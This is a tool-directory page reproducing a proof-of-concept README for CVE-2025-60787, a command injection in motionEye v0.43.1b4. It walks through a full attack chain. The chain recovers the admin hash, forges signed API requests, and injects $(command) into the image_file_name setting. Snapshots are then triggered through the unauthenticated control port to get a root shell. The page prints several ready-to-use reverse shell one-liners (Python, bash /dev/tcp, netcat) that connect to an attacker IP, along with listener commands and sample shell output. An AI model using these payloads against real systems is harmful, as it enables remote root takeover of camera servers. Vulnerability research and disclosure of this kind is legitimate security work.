Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-60787 — MotionEye v0.43.1b4 OS Command Injection | Kitploit
Tools/GitHubGitHub/agent-skywalker/cve-2025-60787
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubagent-skywalker/cve-2025-60787

CVE-2025-60787

MotionEye v0.43.1b4 OS Command Injection

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 OS Command Injection

A proof-of-concept exploit OS Command Injection for vulnerability in motionEye, a web frontend for the motion daemon. The vulnerability abuses the image_file_name configuration parameter, which is passed directly to the shell without sanitisation, allowing arbitrary command injection via $(command) subshell syntax.

Disclaimer: Only use against systems you have explicit permission to test. Unauthorised use is illegal.


Table of Contents

  • How the Vulnerability Works
  • Prerequisites
  • Step 1 — Locate the Admin Password Hash
  • Step 2 — Understanding the Authentication Chain
  • Step 3 — Understanding the Signature Algorithm
  • Step 4 — Configure the Exploit
  • Step 5 — Start Your Listener
  • Step 6 — Run the Exploit
  • Parameters Reference
  • Troubleshooting

How the Vulnerability Works

motionEye passes the image_file_name config value directly to the motion daemon as a shell filename pattern. Motion evaluates $(...) subshell expressions inside filenames at snapshot time, meaning any command placed inside $(...) is executed as the user running the motion process (typically root).

The full attack chain is:

root@kitploit:~
1. Read admin_password hash from /etc/motioneye/motion.conf
         ↓
2. Derive cookie hash = SHA1(admin_password_hash)
         ↓
3. Compute HMAC signature using motionEye's exact algorithm:
   SHA1("METHOD:path:body:key")
         ↓
4. POST malicious config to /config/{cam}/set/ with:
   image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
         ↓
5. Trigger snapshot via unauthenticated motion control port 7999
         ↓
6. Motion evaluates the filename → command executes as root
         ↓
7. Reverse shell connects back to attacker machine

Prerequisites

  • Python 3.6+
  • Network access to the target motionEye instance (default port 8765)
  • The admin password hash from /etc/motioneye/motion.conf
  • A listener on your attack machine (e.g. nc)

No third-party Python packages are required — the exploit uses only the standard library.


Step 1 — Locate the Admin Password Hash

The motionEye configuration file stores the admin password as a SHA1 hash. Read it from the target:

root@kitploit:~
cat /etc/motioneye/motion.conf

Look for the @admin_password comment line:

root@kitploit:~
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

The value after @admin_password is a SHA1 hash of the plaintext password, not the password itself. This hash is what you need for the exploit.

Also note the webcontrol_port value — this is the unauthenticated motion control port used to trigger snapshots:

root@kitploit:~
webcontrol_port 7999
webcontrol_localhost on
root@kitploit:~
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

Step 2 — Understanding the Authentication Chain

motionEye uses a double-hashed authentication scheme:

root@kitploit:~
plaintext_password
       │
       ▼  SHA1
admin_password  ←── stored in motion.conf as @admin_password
       │
       ▼  SHA1
cookie_hash     ←── sent in browser cookie as meye_password_hash
       │
       ▼  used as HMAC key
request_signature ←── _signature= parameter in every API request

The exploit derives the cookie hash automatically from the config hash:

root@kitploit:~
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

You can verify this manually:

root@kitploit:~
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052

Step 3 — Understanding the Signature Algorithm

The signature is computed from the motionEye source at
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:

root@kitploit:~
SHA1("METHOD:path:body:key")

Where:

  • METHOD — HTTP method (POST)
  • path — URI with _signature removed from query string, params sorted, values URL-encoded, then filtered through _SIGNATURE_REGEX
  • body — raw JSON body string filtered through _SIGNATURE_REGEX
  • key — either admin_password or admin_hash (motionEye accepts both), filtered through _SIGNATURE_REGEX

The _SIGNATURE_REGEX strips any character not in [a-zA-Z0-9/?_.=&{}\[\]":, -], replacing them with -.


Step 4 — Configure the Exploit

Open exploit.py and set the following variables at the top:

root@kitploit:~
MOTIONEYE_URL = "http://127.0.0.1:8765"   # motionEye web UI URL
MOTION_URL    = "http://127.0.0.1:7999"   # motion control port (no auth)
USERNAME      = "admin"                    # admin username (default: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # from motion.conf

LHOST = "10.10.16.153"   # your listener IP — the target must be able to reach this
LPORT = "4444"           # your listener port

The reverse shell command is set automatically from LHOST and LPORT:

root@kitploit:~
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

Alternative shell commands — swap COMMAND if the default is blocked:

root@kitploit:~
# Bash TCP (simple, may be filtered)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

Step 5 — Start Your Listener

On your attack machine, start a netcat listener before running the exploit:

root@kitploit:~
nc -lvnp 4444

The exploit pauses for 5 seconds after printing the listener reminder, giving you time to switch terminals.


Step 6 — Run the Exploit

root@kitploit:~
python3 exploit.py

Expected output:

root@kitploit:~
============================================================
  motionEye RCE — Reverse Shell
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] Command    : python3 -c '...'

[!] Start your listener NOW:
    nc -lvnp 4444

[*] Sending payload in 5 seconds...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] Config saved! cam=2 key=admin_password

[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done

[+] Snapshot triggered — check your listener on 10.10.16.153:4444

On your listener you should receive:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

Parameters Reference


Troubleshooting

403 Unauthorized on all requests

The signature is wrong. Verify your ADMIN_HASH value exactly matches the @admin_password line in motion.conf — no spaces, no newline characters.

root@kitploit:~
cat /etc/motioneye/motion.conf | grep admin_password

Snapshots trigger but no shell arrives

The image_file_name injection worked but the reverse shell was blocked. Try an alternative COMMAND from Step 4. Also confirm the target can reach your LHOST:

root@kitploit:~
# On target
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444

Port 7999 refuses connection

The webcontrol_localhost on setting restricts port 7999 to localhost only. The exploit must be run from the target machine or via a tunnel. Confirm with:

root@kitploit:~
ss -tlnp | grep 7999

motion.conf not readable

The file may require elevated privileges:

root@kitploit:~
sudo cat /etc/motioneye/motion.conf

No camera config found

Check which camera conf files exist and update the cam list in the exploit if needed:

root@kitploit:~
ls /etc/motioneye/camera-*.conf


References

  • CVE-2025-60787
  • motionEye source — utils/init.py
  • motionEye source — handlers/base.py
Download Tool
ParameterLocationDescriptionExample
MOTIONEYE_URLexploit.pyFull URL to the motionEye web interfacehttp://127.0.0.1:8765
MOTION_URLexploit.pyURL to the motion control port (no auth required)http://127.0.0.1:7999
USERNAMEexploit.pymotionEye admin usernameadmin
ADMIN_HASHexploit.pySHA1 hash from @admin_password in motion.conf989c5a8e...
LHOSTexploit.pyYour attack machine IP — target must reach this10.10.16.153
LPORTexploit.pyPort your nc listener is on4444